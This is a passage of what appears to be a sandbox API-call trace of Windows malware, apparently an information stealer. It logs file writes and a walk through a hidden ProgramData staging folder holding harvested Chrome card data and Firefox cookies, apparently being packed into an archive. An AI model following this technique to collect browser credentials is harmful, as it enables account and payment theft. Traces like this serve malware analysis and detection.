lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.689] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x1d, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.690] GetDesktopWindow () returned 0x10010 [0053.690] GetTickCount () returned 0x2163d [0053.690] GetLastError () returned 0x0 [0053.690] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ebf40, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e208, lpOverlapped=0x0 | out: lpBuffer=0x25ebf40*, lpNumberOfBytesRead=0x19e208*=0x0, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x1f0e534*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19e1c8, lpOverlapped=0x0 | out: lpBuffer=0x1f0e534*, lpNumberOfBytesWritten=0x19e1c8*=0x2, lpOverlapped=0x0) returned 1 [0053.690] CloseHandle (hObject=0x3b0) returned 1 [0053.690] SetFilePointer (in: hFile=0x394, lDistanceToMove=84, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.690] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.691] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x1d, lpOverlapped=0x0) returned 1 [0053.692] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.692] SetFilePointer (in: hFile=0x394, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0053.692] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc\\google chrome_default.txt")) returned 1 [0053.693] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0 [0053.693] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0053.693] PathMatchSpecW (pszFile="CC", pszSpec="*.*") returned 1 [0053.693] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.693] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc")) returned 0 [0053.694] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19f118 | out: lpFindFileData=0x19f118) returned 1 [0053.694] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.694] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.694] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.694] lstrcatW (in: lpString1="\\", lpString2="Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.694] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0053.694] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0053.694] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\*.*" [0053.694] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x58a0c0 [0053.694] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\." [0053.694] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.694] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.694] lstrcatW (in: lpString1="\\Cookies\\", lpString2="." | out: lpString1="\\Cookies\\.") returned="\\Cookies\\." [0053.694] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.694] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.694] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\.." [0053.694] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.694] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.694] lstrcatW (in: lpString1="\\Cookies\\", lpString2=".." | out: lpString1="\\Cookies\\..") returned="\\Cookies\\.." [0053.694] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.694] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.694] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.694] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.694] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2="cookies_Mozilla Firefox_8i341t8m.default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" [0053.694] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.694] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.695] lstrcatW (in: lpString1="\\Cookies\\", lpString2="cookies_Mozilla Firefox_8i341t8m.default.txt" | out: lpString1="\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt") returned="\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" [0053.695] PathMatchSpecW (pszFile="cookies_Mozilla Firefox_8i341t8m.default.txt", pszSpec="*.*") returned 1 [0053.695] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\cookies_mozilla firefox_8i341t8m.default.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0053.695] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0053.695] GetFileInformationByHandle (in: hFile=0x3b0, lpFileInformation=0x19e1b8 | out: lpFileInformation=0x19e1b8) returned 1 [0053.695] GetFileSize (in: hFile=0x3b0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a4b [0053.695] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.695] ReadFile (in: hFile=0x3b0, lpBuffer=0x19e1b0, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x19e1a0, lpOverlapped=0x0 | out: lpBuffer=0x19e1b0*, lpNumberOfBytesRead=0x19e1a0*=0x2, lpOverlapped=0x0) returned 1 [0053.695] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=36, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24 [0053.695] ReadFile (in: hFile=0x3b0, lpBuffer=0x19e190, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19e1a0, lpOverlapped=0x0 | out: lpBuffer=0x19e190*, lpNumberOfBytesRead=0x19e1a0*=0x4, lpOverlapped=0x0) returned 1 [0053.695] FileTimeToSystemTime (in: lpFileTime=0x19e174, lpSystemTime=0x19e158 | out: lpSystemTime=0x19e158) returned 1 [0053.695] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.695] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.695] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.695] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.695] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.695] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.696] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, 